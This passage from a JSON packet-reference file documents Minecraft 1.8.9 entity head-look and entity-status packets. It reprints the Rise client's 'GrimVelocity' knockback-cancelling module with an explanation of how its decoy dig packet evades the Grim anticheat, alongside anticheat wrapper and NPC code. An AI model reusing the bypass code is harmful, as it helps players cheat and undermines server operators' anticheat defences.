Both anticheats emit the packet for fake entities only; real player head yaw is never read server-side by any anticheat in the corpus.",
       "code_source": "P2P-Develop-PeyangSuperbAntiCheat, src/main/java/ml/peya/plugins/Detect/NPCTeleport.java",
       "variations": "MinecraftAntiCheat builds the packet with raw field reflection (fields a and b) and always pairs it with PacketPlayOutEntityLook; PSAC computes the head yaw from the suspect's own rotation to make the NPC look at the target."
      }
     ]
    }
   },
   "wiki_notes": [
    "While the entity is stationary the body also rotates toward the head direction after a delay without changing the entity yaw value, and the body rotates back toward yaw once the entity starts moving.",
    "While the entity is moving, head rotation is clamped to a maximum distance from body rotation, and for remote players the server keeps updating head rotation alongside body yaw.",
    "MCP 1.8.9 S19PacketEntityHeadLook implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleEntityHeadLook; wire serde is readPacketData/writePacketData via readByte, readVarIntFromBuffer.",
    "1.8.9 callers: EntityTrackerEntry.? sends new S19PacketEntityHeadLook (line 288): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/EntityTrackerEntry.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S19PacketEntityHeadLook/",
   "mcp_path": "net/minecraft/network/play/server/S19PacketEntityHeadLook.java",
   "group": "play-client",
   "logic_classes": [
    "EntityTrackerEntry"
   ]
  },
  {
   "id": "S19PacketEntityStatus",
   "hex": "0x19",
   "dec": 25,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Entity Status",
   "desc": "Sends a status event for an entity (death sound, hurt effect, taming, wolf shaking, etc.).",
   "tags": [
    "entity",
    "status",
    "event"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "VarInt",
     "desc": "Entity ID"
    },
    {
     "name": "status",
     "type": "byte",
     "desc": "Status code"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     ""
    ],
    [
     "Status",
     "byte",
     "Event code"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleEntityStatus()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Status codes: 2=hurt, 3=death, 6=taming, 7=tamed, 8=shaking, 9=hearts, 10=wolfSmoke, 11=accept, 12=witherSpawn, 15=redstoneTorches, 16=ironGolem, 17=sheepEat, 18=trueGod, 19=endermanScream, 20=zombieVillagerCure, 21=guardianElder, 22=petWolf, 23=zombieVillagerReplacing, 24=arrowCount, 25=particles, 26=thorns, 27=snowParticles, 28=shulkerTeleport, 29=ironGolemGiveRose.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S19PacketEntityStatus carries a single opcode byte for one entity: the client-bound event channel for hurt (2), death (3), wolf taming, hearts, wither spawn and a dozen more codes. The server broadcasts it through WorldServer.setEntityState, which routes to the entity tracker (corpus line 880), and EntityPlayerMP sends code 9 to the player itself (line 893). For a cheat client the only actionable signal is the hurt/death transition of the local player, which is why the sole module consumer is a velocity module."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleEntityStatus (Memeware 7.3 bundle, line 897) special-cases opcode 21 (guardian sound) and otherwise forwards the code to entity.handleHealthUpdate, which plays the hurt/death sounds, wolf effects, totem-like particles and so on. The handler is a pure dispatch table: no state is stored, no position is involved."
     },
     {
      "h": "Why clients touch it",
      "p": "The corpus has exactly one module consumer: Rise 6.x GrimVelocity, in both 6.1.30 and 6.2.4, which uses opcode 2 (hurt) on the local player as the precondition for cancelling the following S12 velocity. Rise's NetworkAPI whitelists the packet for scripts in both versions. Memeware, Nekoware, Sigma, Spicy and Tenacity reference it only through the vanilla handler. The thinness is structural: the packet has no position or rotation data, so movement, render and combat modules have nothing to consume; only the hurt-to-knockback contract matters."
     },
     {
      "h": "Exploit surface",
      "p": "The S19(2) then S12 pairing is the knockback contract: the server announces damage, then the velocity that results from it. Cancelling S12 after seeing the hurt status is the classic velocity bypass, and GrimVelocity hardens it by sending a C07 dig packet at the player's own position on the next PreUpdate, so the server observes a legitimate block interaction on the damaged tick instead of a missing motion change. Anticheats that detect velocity cancel measure the absent motionY after a confirmed hurt status; the dig packet is the counter because it gives the server an acceptable action to attach the tick to."
     }
    ],
    "overview": "The status opcode channel is nearly invisible to the 8 clients: one module, GrimVelocity in Rise 6.x, uses opcode 2 as the trigger for a velocity bypass, and the script API whitelists it. Everything else in the corpus is the vanilla dispatch handler.",
    "server_handling": "Clientbound only. WorldServer.setEntityState broadcasts the opcode through the entity tracker to every tracking player; EntityPlayerMP sends code 9 (the eating effect) to the player directly. The client dispatch is entity.handleHealthUpdate with a special case for 21. There is no per-player state kept on either side; the packet is a one-shot event.",
    "protocol_notes": "VarInt entityId plus one unsigned byte opcode. The opcode set is defined by Entity.handleHealthUpdate: 2 = hurt, 3 = death, 6 = taming, 7 = tamed, 8 = wolf shaking, 9 = eating, 10 = wolf smoke, 11 = accept, 12 = wither spawn, 15 = redstone torches, 16 = iron golem, 17 = sheep eating, 19 = enderman scream, 20 = zombie villager cure, 21 = guardian elder, 22 = pet wolf, 24 = arrow count, 26 = thorns, 27 = snow particles, 28 = shulker teleport, 29 = iron golem rose. The opcode for the local player arrives on the same connection as the S12 that follows.",
    "anticheat_landscape": "Velocity detection is the only anticheat interaction: the hurt status confirms damage, and the subsequent S12 must produce the expected motion change. Cancelling S12 without a substitute is the classic flag; GrimVelocity's substitute is the C07 dig at the player's own position, which the server processes as a normal block interaction. Server anticheats cannot see the client's S19 handling at all, so the entire exploit surface is the S12 side of the pairing.",
    "modules": [
     {
      "name": "GrimVelocity",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Grim-targeted velocity bypass: cancel the knockback S12 after confirming the hurt status, then emit a benign C07 dig so the damaged tick still carries a legitimate server action.",
      "how_it_works": "A VERY_LOW priority PacketReceiveEvent handler checks S19PacketEntityStatus first: when the entity is the local player and the opcode is 2, it sets realVelocity. The next S12PacketEntityVelocity for the local player is then cancelled, realVelocity clears and velocity is set. On the following PreUpdateEvent, if velocity is set, it sends C07PacketPlayerDigging (START_DESTROY_BLOCK while looking at a block and swinging, otherwise STOP_DESTROY_BLOCK) at the player's own position and clears the flag.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/velocity/GrimVelocity.java =====\npackage com.alan.clients.module.impl.combat.velocity;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.Priorities;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreUpdateEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.module.impl.combat.Velocity;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.value.Mode;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.network.play.server.S12PacketEntityVelocity;\nimport net.minecraft.network.play.server.S19PacketEntityStatus;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\nimport net.minecraft.util.MovingObjectPosition;\n\npublic final class GrimVelocity extends Mode<Velocity> {\n\n    public GrimVelocity(String name, Velocity parent) {\n        super(name, parent);\n    }\n\n    private boolean realVelocity, velocity;\n\n    @EventLink(value = Priorities.VERY_LOW)\n    public final Listener<PreUpdateEvent> onPreUpdate = event -> {\n        if (velocity) {\n            PacketUtil.send(new C07PacketPlayerDigging((mc.objectMouseOver != null && mc.thePlayer.isSwingInProgress && mc.objectMouseOver.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK ? C07PacketPlayerDigging.Action.START_DESTROY_BLOCK : C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK),\n                    new BlockPos(mc.thePlayer), EnumFacing.UP));\n\n            velocity = false;\n        }\n    };\n    @EventLink(value = Priorities.VERY_LOW)\n    public final Listener<PacketReceiveEvent> onReceiveLow = event -> {\n        final Packet<?> packet = event.getPacket();\n        if (event.isCancelled()) return;\n\n        if(packet instanceof S19PacketEntityStatus) {\n            final S19PacketEntityStatus wrapper = (S19PacketEntityStatus) event.getPacket();\n\n            if(wrapper.getEntity(mc.theWorld) != mc.thePlayer || wrapper.getOpCode() != 2) {\n                return;\n            }\n\n            realVelocity = true;\n        }\n\n        if (packet instanceof S12PacketEntityVelocity && realVelocity) {\n            final S12PacketEntityVelocity wrapper = (S12PacketEntityVelocity) packet;\n\n            if (wrapper.getEntityID() == mc.thePlayer.getEntityId()) {\n                event.setCancelled();\n\n                realVelocity = false;\n                velocity = true;\n            }\n        }\n    };\n}\n\n// NOTE (AI): S19PacketEntityStatus opcode 2 (hurt) on the player is the precondition for the velocity\n// NOTE (AI): cancel: the next S12 for self is dropped and a C07PacketPlayerDigging is sent at the\n// NOTE (AI): player's own position on the following PreUpdate, giving the server a legitimate\n// NOTE (AI): block-interaction action to attach the tick to instead of a missing knockback.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/velocity/GrimVelocity.java",
      "vanilla_hook": "PacketReceiveEvent (VERY_LOW), PreUpdateEvent.",
      "anti_cheat_notes": "The hurt-status gate prevents cancelling velocities that never arrived. The C07 dig at the player's own feet is a no-op block action that still registers server-side, giving the anticheat a legitimate interaction instead of a bare missing knockback.",
      "variations": "Identical in Rise 6.1.30 and 6.2.4 (same package com/alan/clients/module/impl/combat/velocity)."
     }
    ],
    "general_hooks": "PacketReceiveEvent in Rise 6.x; no other hook exists in the corpus.",
    "client_variations": "Only Rise 6.x touches the packet outside vanilla. The 6.1.30 and 6.2.4 GrimVelocity files are identical apart from the corpus path prefix.",
    "related": [
     "S12PacketEntityVelocity",
     "S06PacketUpdateHealth",
     "S08PacketPlayerPosLook"
    ],
    "anticheat": {
     "overview": "The status opcode channel has no server-side check surface: the only corpus references are Artemis's packet wrapper and MinecraftAntiCheat's NPC utility, which emits status packets to animate fake players. The opcode byte matters to clients (hurt, death, taming), but anticheats never branch on it. This is one of the thinnest packets in the entity family.",
     "checks": [
      {
       "name": "GPacketPlayServerEntityStatus (packet wrapper)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Wrap the entity status packet in Artemis's packet layer; the wrapper reads the entity id and the opcode byte.",
       "how_it_works": "The class binds to PacketPlayServerEntityStatus via @PacketLink, reads entityId as an int and logicOpcode as a byte from the buffer, and stores them as fields for any consumer.",
       "detects": "Nothing; the fields are exposed but no Artemis check reads them.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.packet.spigot/src/main/java/cc/ghast/packet/wrapper/packet/play/server/GPacketPlayServerEntityStatus.java =====\npackage cc.ghast.packet.wrapper.packet.play.server;\n\nimport ac.artemis.packet.protocol.ProtocolVersion;\nimport ac.artemis.packet.spigot.protocol.PacketLink;\nimport ac.artemis.packet.wrapper.server.PacketPlayServerEntityStatus;\nimport cc.ghast.packet.buffer.ProtocolByteBuf;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport cc.ghast.packet.wrapper.packet.ReadableBuffer;\nimport lombok.Getter;\n\nimport java.util.UUID;\n\n@Getter\n@PacketLink(PacketPlayServerEntityStatus.class)\npublic class GPacketPlayServerEntityStatus extends GPacket implements PacketPlayServerEntityStatus, ReadableBuffer {\n    public GPacketPlayServerEntityStatus(UUID player, ProtocolVersion version) {\n        super(\"PacketPlayOutEntityStatus\", player, version);\n    }\n\n    private int entityId;\n    private byte logicOpcode;\n\n    @Override\n    public void read(ProtocolByteBuf byteBuf) {\n        this.entityId = byteBuf.readInt();\n        this.logicOpcode = byteBuf.readByte();\n    }\n}\n// NOTE (AI): The read() implementation shows the packet shape (int entity id, byte opcode) even though no check consumes it.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.packet.spigot/src/main/java/cc/ghast/packet/wrapper/packet/play/server/GPacketPlayServerEntityStatus.java",
       "variations": "The wrapper mirrors the generic GPacket pattern; the head-rotation wrapper in the same package carries an empty read."
      },
      {
       "name": "NPC status emission (fake player lifecycle)",
       "found_in": [
        "network-dev-MinecraftAntiCheat"
       ],
       "purpose": "Send entity status packets for fake players so they show hurt and death effects like real players during staff testing.",
       "how_it_works": "setStatus(byte) builds a PacketPlayOutEntityStatus, sets the entity id and status fields by reflection, and sends it; the NPCStatus enum wraps the opcode ids. The packet is only ever emitted for NPCs created by the anticheat's staff tools.",
       "detects": "Nothing; the emission exists so NPCs behave like players for testing killaura and reach checks.",
       "detailed_code": "// ===== FILE: network-dev-MinecraftAntiCheat, src/main/java/me/sendpacket/anticheat/anticheat/Utils/NPC.java =====\npackage me.sendpacket.anticheat.anticheat.Utils;\n\nimport com.mojang.authlib.GameProfile;\nimport com.mojang.authlib.properties.Property;\nimport net.minecraft.server.v1_15_R1.*;\n\nimport org.bukkit.Bukkit;\nimport org.bukkit.Location;\nimport org.bukkit.Material;\nimport org.bukkit.craftbukkit.v1_15_R1.entity.CraftPlayer;\nimport org.bukkit.craftbukkit.v1_15_R1.util.CraftChatMessage;\nimport org.bukkit.entity.Player;\nimport org.bukkit.plugin.Plugin;\nimport org.bukkit.scheduler.BukkitRunnable;\n\nimport java.io.IOException;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.util.*;\n\npublic class NPC {\n\n    private int entityId;\n    private Location location;\n    private Location last_location;\n    private GameProfile gameprofile;\n\n    private List<Player> recipients;\n    private Recipient recipient_type = Recipient.ALL;\n\n    private String display_name;\n    private String tablist_name;\n    private DataWatcher dataWatcher;\n    private DataWatcherObject<Byte> object_entity_state;\n    private DataWatcherObject<String> object_customName;\n    private DataWatcherObject<Boolean> object_isSilent;\n    private DataWatcherObject<Boolean> object_hasGravity;\n    private DataWatcherObject<Boolean> object_isCustomNameVisible;\n\n    private boolean isDestroyed;\n    private Plugin plugin;\n\n\n    /*\n     *  initialize all the npc default settings\n     */\n    public NPC(String name, Location location, Plugin plugin) {\n        this.plugin = plugin;\n        this.display_name = name;\n        this.tablist_name = name;\n        this.recipient_type = Recipient.ALL;\n        this.recipients = new ArrayList<Player>();\n        this.entityId = (int) Math.ceil(Math.random() * 1000);\n        this.gameprofile = new GameProfile(UUID.randomUUID(), display_name);\n        this.location = location;\n        this.dataWatcher = new DataWatcher(null);\n        this.dataWatcher.register(object_entity_state = new DataWatcherObject<>(0, DataWatcherRegistry.a), (byte) 0);\n        this.dataWatcher.register(new DataWatcherObject<>(1, DataWatcherRegistry.b), 300);\n        this.dataWatcher.register(object_customName = new DataWatcherObject<>(2, DataWatcherRegistry.d), \"\");\n        this.dataWatcher.register(object_isCustomNameVisible = new DataWatcherObject<>(3, DataWatcherRegistry.i),false);\n        this.dataWatcher.register(object_isSilent = new DataWatcherObject<>(4, DataWatcherRegistry.i), false);\n        this.dataWatcher.register(object_hasGravity = new DataWatcherObject<>(5, DataWatcherRegistry.i), false);\n        this.dataWatcher.register(new DataWatcherObject<>(6, DataWatcherRegistry.a), (byte) 0);\n        this.dataWatcher.register(new DataWatcherObject<>(7, DataWatcherRegistry.c), 20.0F);\n        this.dataWatcher.register(new DataWatcherObject<>(8, DataWatcherRegistry.b), 0);\n        this.dataWatcher.register(new DataWatcherObject<>(9, DataWatcherRegistry.i), false);\n        this.dataWatcher.register(new DataWatcherObject<>(10, DataWatcherRegistry.b), 0);\n        this.dataWatcher.register(new DataWatcherObject<>(11, DataWatcherRegistry.c), 0.0F);\n        this.dataWatcher.register(new DataWatcherObject<>(12, DataWatcherRegistry.b), 20);\n        this.dataWatcher.register(new DataWatcherObject<>(13, DataWatcherRegistry.a), (byte) 127);\n        this.dataWatcher.register(new DataWatcherObject<>(14, DataWatcherRegistry.a), (byte) 1);\n        this.dataWatcher.register(new DataWatcherObject<>(15, DataWatcherRegistry.p), new NBTTagCompound());\n        this.dataWatcher.register(new DataWatcherObject<>(16, DataWatcherRegistry.p), new NBTTagCompound());\n    }\n\n\n    /*\n     *  view all the packet receivers\n     */\n    public List<Player> getRecipients() {\n        return this.recipients;\n    }\n\n\n    /*\n     *  get the signature and skin from the gameprofile\n     */\n    public Property getSkin() {\n        if (this.gameprofile.getProperties().isEmpty())\n            return null;\n        return (Property) this.gameprofile.getProperties().get(\"textures\").toArray()[0];\n    }\n\n    /*\n     * get npc id\n     */\n    public int getEntityId() {\n        return entityId;\n    }\n\n\n    /*\n     * get npc location\n     */\n    public Location getLocation() {\n        return location;\n    }\n\n\n    /*\n     * get npc gameprofile\n     */\n    public GameProfile getGameprofile() {\n        return gameprofile;\n    }\n\n    /*\n     * get all the packet receivers\n     */\n    public Recipient getRecipient_type() {\n        return recipient_type;\n    }\n\n\n    /*\n     * get npc displayname above head\n     */\n    public String getDisplay_name() {\n        return display_name;\n    }\n\n    /*\n     * get npc displayname in tablist\n     */\n    public String getTablist_name() {\n        return tablist_name;\n    }\n\n    /*\n     * check if npc is deleted\n     */\n    public boolean isDestroyed() {\n        return isDestroyed;\n    }\n\n    /*\n     * get plugin\n     */\n    public Plugin getPlugin() {\n        return plugin;\n    }\n\n\n    /*\n     *  add Player so it receives the update packets\n     */\n    public void addRecipient(Player p) {\n        this.recipients.add(p);\n    }\n\n\n    /*\n     *  Remove Player that receives the update packets\n     */\n    public void removeRecipient(Player p) {\n        this.recipients.remove(p);\n    }\n\n\n    /*\n     *  toggle if the packet receivers are all the players online or a specicif group.\n     *  If set to ALL (online) then the set/get recipient will have no effect\n     */\n    public void setRecipientType(Recipient recipient_type) {\n        this.recipient_type = recipient_type;\n    }\n\n\n    /*\n     *  spawn the npc, this should be the last function after init.\n     */\n    public void spawn(boolean tablist, boolean fix_head) {\n        PacketPlayOutNamedEntitySpawn packet = new PacketPlayOutNamedEntitySpawn();\n        this.setField(packet, \"a\", this.entityId);\n        this.setField(packet, \"b\", this.gameprofile.getId());\n        this.setField(packet, \"c\", location.getX());\n        this.setField(packet, \"d\", location.getY());\n        this.setField(packet, \"e\", location.getZ());\n        this.setField(packet, \"f\", fix_head ? (byte) ((int) location.getYaw() * 256.0F / 360.0F) : 0);\n        this.setField(packet, \"g\", fix_head ? (byte) ((int) location.getPitch() * 256.0F / 360.0F) : 0);\n       // this.setField(packet, \"h\", this.dataWatcher);\n        this.addToTabList();\n        this.sendPacket(packet);\n        this.isDestroyed = false;\n\n\n        //Delay is required to commit the tablist changes\n        new BukkitRunnable() {\n\n            @Override\n            public void run() {\n                if (!tablist) removeFromTabList();\n            }\n        }.runTaskLater(this.plugin, 5);\n\n    }\n\n    /*\n     *  set the name above the player\n     */\n    public void setDisplayNameAboveHead(String name) throws IOException {\n        if(name.length() > 16) throw new IOException(\"Name cannot be longer than 16 chatacters.\");\n        this.display_name = name;\n        this.reloadNpc();\n    }\n\n\n    /*\n     *  set the name above the player and tablist.\n     */\n    public void setDisplayName(String name) throws IOException {\n        this.setDisplayNameAboveHead(name);\n        this.setTablistName(name);\n    }\n\n\n    /*\n     *  set custom name in tablist\n     */\n    public void setTablistName(String name) {\n        this.tablist_name = name;\n        this.updateToTabList();\n    }\n\n\n    /*\n     *  respawn the npc and refresh all comitted changes\n     */\n    public void reloadNpc() {\n        this.updateProfile();\n        if(!this.isDestroyed) {\n            PacketPlayOutEntityDestroy packet = new PacketPlayOutEntityDestroy(new int[] { this.entityId });\n            this.sendPacket(packet);\n            this.spawn(true, true);\n        }\n    }\n\n\n    /*\n     *  Update/Refresh the gameprofile that contains UUID, Name, Skin.\n     */\n    private void updateProfile() {\n        Property skin = this.getSkin();\n        this.gameprofile = new GameProfile(this.gameprofile.getId(), this.display_name);\n        if (skin != null)\n            this.setSkin(skin.getValue(), skin.getSignature());\n    }\n\n\n    /*\n     *  set the texture and signature in the gameprofile, to submit it you must reload player.\n     */\n    public void setSkin(String texture, String signature) {\n        this.gameprofile.getProperties().put(\"textures\", new Property(\"textures\", texture, signature));\n    }\n\n\n\n    /*\n     *  remove npc from the recipient's tablist\n     */\n    public void removeFromTabList() {\n        PacketPlayOutPlayerInfo packet = new PacketPlayOutPlayerInfo();\n        PacketPlayOutPlayerInfo.PlayerInfoData data = packet.new PlayerInfoData(this.gameprofile, 0,\n                EnumGamemode.NOT_SET, CraftChatMessage.fromString(tablist_name)[0]);\n        List<PacketPlayOutPlayerInfo.PlayerInfoData> players = (List<PacketPlayOutPlayerInfo.PlayerInfoData>) getField(packet, \"b\");\n        players.add(data);\n        this.setField(packet, \"a\", PacketPlayOutPlayerInfo.EnumPlayerInfoAction.REMOVE_PLAYER);\n        this.setField(packet, \"b\", players);\n        this.sendPacket(packet);\n    }\n\n\n\n    /*\n     *  update npc to the recipient's tablist\n     */\n    public void updateToTabList() {\n        PacketPlayOutPlayerInfo packet = new PacketPlayOutPlayerInfo();\n        PacketPlayOutPlayerInfo.PlayerInfoData data = packet.new PlayerInfoData(this.gameprofile, 0,\n                EnumGamemode.NOT_SET, CraftChatMessage.fromString(tablist_name)[0]);\n        List<PacketPlayOutPlayerInfo.PlayerInfoData> players = (List<PacketPlayOutPlayerInfo.PlayerInfoData>) getField(packet, \"b\");\n        players.add(data);\n        this.setField(packet, \"a\", PacketPlayOutPlayerInfo.EnumPlayerInfoAction.UPDATE_DISPLAY_NAME);\n        this.setField(packet, \"b\", players);\n        this.sendPacket(packet);\n    }\n\n\n    /*\n     *  add npc from the recipient's tablist\n     */\n    public void addToTabList() {\n        PacketPlayOutPlayerInfo packet = new PacketPlayOutPlayerInfo();\n        PacketPlayOutPlayerInfo.PlayerInfoData data = packet.new PlayerInfoData(this.gameprofile, 0,\n                EnumGamemode.NOT_SET, CraftChatMessage.fromString(tablist_name)[0]);\n        List<PacketPlayOutPlayerInfo.PlayerInfoData> players = (List<PacketPlayOutPlayerInfo.PlayerInfoData>) getField(packet, \"b\");\n        players.add(data);\n        this.setField(packet, \"a\", PacketPlayOutPlayerInfo.EnumPlayerInfoAction.ADD_PLAYER);\n        this.setField(packet, \"b\", players);\n        this.sendPacket(packet);\n    }\n\n\n    /*\n     *  put items in inventory, see https://www.google.nl/search?q=bukkit+inventory+slots&source=lnms&tbm=isch&sa=X&ved=0ahUKEwjr9v_FxvjaAhUFMuwKHQi7ALUQ_AUICigB&biw=1920&bih=974#imgrc=QUECAbUohgZxbM:\n     *  for more info\n     */\n    public void setEquipment(EnumItemSlot slot, ItemStack item) {\n        PacketPlayOutEntityEquipment packet = new PacketPlayOutEntityEquipment();\n        this.setField(packet, \"a\", this.entityId);\n        this.setField(packet, \"b\", slot);\n        this.setField(packet, \"c\", item);\n        this.sendPacket(packet);\n    }\n\n\n    /*\n     * set player action, such as shift, onfire, ect recommending to use 'public void setAction(Action action)'.\n     */\n    public void setAction(byte action) {\n        this.setMetaData(action);\n    }\n\n\n    /*\n     * set player action, such as shift, onfire, ect.\n     */\n    public void setAction(Action action) {\n        this.setMetaData(action.build());\n    }\n\n\n    /*\n     * delete the npc from the server.\n     */\n    public void destroy() {\n        PacketPlayOutEntityDestroy packet = new PacketPlayOutEntityDestroy(new int[] { this.entityId });\n        this.removeFromTabList();\n        this.sendPacket(packet);\n        this.isDestroyed = true;\n    }\n\n\n    /*\n     * set npc status such as die or hurt. I recommond to use method 'public void setStatus(NPCStatus status)'\n     */\n    public void setStatus(byte status) {\n        PacketPlayOutEntityStatus packet = new PacketPlayOutEntityStatus();\n        this.setField(packet, \"a\", this.entityId);\n        this.setField(packet, \"b\", status);\n        this.sendPacket(packet);\n    }\n\n\n    /*\n     * set npc status such as die or hurt.\n     */\n    public void setStatus(NPCStatus status) {\n        this.setStatus((byte) status.getId());\n    }\n\n\n    /*\n     * set npc effect such as Night Vision or something else.\n     */\n    public void setEffect(MobEffect effect) {\n        this.sendPacket(new PacketPlayOutEntityEffect(this.entityId, effect));\n    }\n\n\n    /*\n     * set npc animation such as Swing arm ect. I recommend using method 'public void setAnimation(NPCAnimation animation)'\n     */\n    public void setAnimation(byte animation) {\n        PacketPlayOutAnimation packet = new PacketPlayOutAnimation();\n        this.setField(packet, \"a\", this.entityId);\n        this.setField(packet, \"b\", animation);\n        this.sendPacket(packet);\n    }\n\n\n    /*\n     * set npc animation such as Swing arm ect.\n     */\n    public void setAnimation(NPCAnimation animation) {\n        this.setAnimation((byte) animation.getId());\n    }\n\n\n    /*\n     * teleport npc to different location\n     */\n    public void teleport(Location location, Boolean onGround) {\n        PacketPlayOutEntityTeleport packet = new PacketPlayOutEntityTeleport();\n        this.setField(packet, \"a\", this.entityId);\n        this.setField(packet, \"b\", location.getX());\n        this.setField(packet, \"c\", location.getY());\n        this.setField(packet, \"d\", location.getZ());\n        this.setField(packet, \"e\", (byte) location.getYaw());\n        this.setField(packet, \"f\", (byte) location.getPitch());\n        this.setField(packet, \"g\", onGround);\n        this.sendPacket(packet);\n        this.rotateHead(location.getPitch(), location.getYaw());\n        this.location = location;\n        this.sendPacket(packet);\n    }\n\n\n    /*\n     * rotate npc head to pitch and yaw.\n     */\n    public void rotateHead(float pitch, float yaw) {\n        PacketPlayOutEntity.PacketPlayOutEntityLook packet = new PacketPlayOutEntity.PacketPlayOutEntityLook(this.entityId, getFixRotation(yaw), (byte) pitch, true);\n        PacketPlayOutEntityHeadRotation packet_1 = new PacketPlayOutEntityHeadRotation();\n        this.setField(packet_1, \"a\", this.entityId);\n        this.setField(packet_1, \"b\", getFixRotation(yaw));\n        this.sendPacket(packet);\n        this.sendPacket(packet_1);\n    }\n\n\n\n\n    /*\n     * These methods below are not usefull.\n     */\n\n    private <T> void setDataWatcherObject(DataWatcherObject<T> datawatcherobject, Object t0) {\n        try {\n            Method m = this.dataWatcher.getClass().getDeclaredMethod(\"registerObject\", DataWatcherObject.class,\n                    Object.class);\n            m.setAccessible(true);\n            m.invoke(this.dataWatcher, datawatcherobject, t0);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n    private void setMetaData(byte data) {\n        this.setDataWatcherObject(this.object_entity_state, data);\n        PacketPlayOutEntityMetadata packet = new PacketPlayOutEntityMetadata(this.entityId, this.dataWatcher, true);\n        this.sendPacket(packet);\n    }\n\n    private byte getFixRotation(float yawpitch) {\n        return (byte) ((int) (this.location.getYaw() * 256.0F / 360.0F));\n    }\n\n    private Object getField(Object obj, String field_name) {\n        try {\n            Field field = obj.getClass().getDeclaredField(field_name);\n            field.setAccessible(true);\n            return field.get(obj);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return null;\n    }\n\n    private void setField(Object obj, String field_name, Object value) {\n        try {\n            Field field = obj.getClass().getDeclaredField(field_name);\n            field.setAccessible(true);\n            field.set(obj, value);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n    private void sendPacket(Packet<?> packet, Player player) {\n        ((CraftPlayer) player).getHandle().playerConnection.sendPacket(packet);\n    }\n\n    private void sendPacket(Packet<?> packet) {\n        for (Player p : (this.recipient_type == Recipient.ALL ? Bukkit.getOnlinePlayers() : this.recipients)) {\n            this.sendPacket(packet, p);\n        }\n\n    }\n\n    public enum Recipient {\n        ALL, LISTED_RECIPIENTS;\n    }\n\n    enum NPCAnimation {\n\n        SWING_MAIN_HAND(0),\n        TAKE_DAMAGE(1),\n        LEAVE_BED(2),\n        SWING_OFFHAND(3),\n        CRITICAL_EFFECT(4),\n        MAGIC_CRITICAL_EFFECT(5);\n\n        private int id;\n\n        private NPCAnimation(int id) {\n            this.id = id;\n        }\n\n        public int getId() {\n            return id;\n        }\n\n    }\n\n    enum NPCStatus {\n\n        HURT(2), DIE(3);\n\n        private int id;\n\n        private NPCStatus(int id) {\n            this.id = id;\n        }\n\n        public int getId() {\n            return id;\n        }\n    }\n\n    public static class Action {\n\n        private boolean on_fire, crouched, sprinting, invisible, glowing, flying_elytra;\n        private byte result = 0;\n\n        public Action(boolean on_fire, boolean crouched, boolean sprinting, boolean invisible, boolean glowing,\n                      boolean flying_elytra) {\n            this.on_fire = on_fire;\n            this.crouched = crouched;\n            this.sprinting = sprinting;\n            this.invisible = invisible;\n            this.glowing = glowing;\n            this.flying_elytra = flying_elytra;\n        }\n\n        public Action() {\n        }\n\n        public boolean isOn_fire() {\n            return on_fire;\n        }\n\n        public Action setOn_fire(boolean on_fire) {\n            this.on_fire = on_fire;\n            return this;\n        }\n\n        public boolean isCrouched() {\n            return crouched;\n        }\n\n        public Action setCrouched(boolean crouched) {\n            this.crouched = crouched;\n            return this;\n        }\n\n        public boolean isSprinting() {\n            return sprinting;\n        }\n\n        public Action setSprinting(boolean sprinting) {\n            this.sprinting = sprinting;\n            return this;\n        }\n\n        public boolean isInvisible() {\n            return invisible;\n        }\n\n        public Action setInvisible(boolean invisible) {\n            this.invisible = invisible;\n            return this;\n        }\n\n        public boolean isGlowing() {\n            return glowing;\n        }\n\n        public Action setGlowing(boolean glowing) {\n            this.glowing = glowing;\n            return this;\n        }\n\n        public boolean isFlying_elytra() {\n            return flying_elytra;\n        }\n\n        public Action setFlying_elytra(boolean flying_elytra) {\n            this.flying_elytra = flying_elytra;\n            return this;\n        }\n\n        public byte build() {\n            result = 0;\n            result = add(this.on_fire, (byte) 0x01);\n            result = add(this.crouched, (byte) 0x02);\n            result = add(this.sprinting, (byte) 0x08);\n            result = add(this.invisible, (byte) 0x20);\n            result = add(this.glowing, (byte) 0x40);\n            result = add(this.flying_elytra, (byte) 0x80);\n            return result;\n        }\n\n        private byte add(boolean condition, byte amount) {\n            return (byte) (result += (condition ? amount : 0x00));\n        }\n    }\n}\n// NOTE (AI): This entry exists because the corpus hit is real (the packet constructor at line 360), but the honest reading is a testing utility rather than a detection check.",
       "code_source": "network-dev-MinecraftAntiCheat, src/main/java/me/sendpacket/anticheat/anticheat/Utils/NPC.java",
       "variations": "PeyangSuperbAntiCheat does not send status packets for its NPCs; it animates them with teleport and head-rotation packets instead."
      }
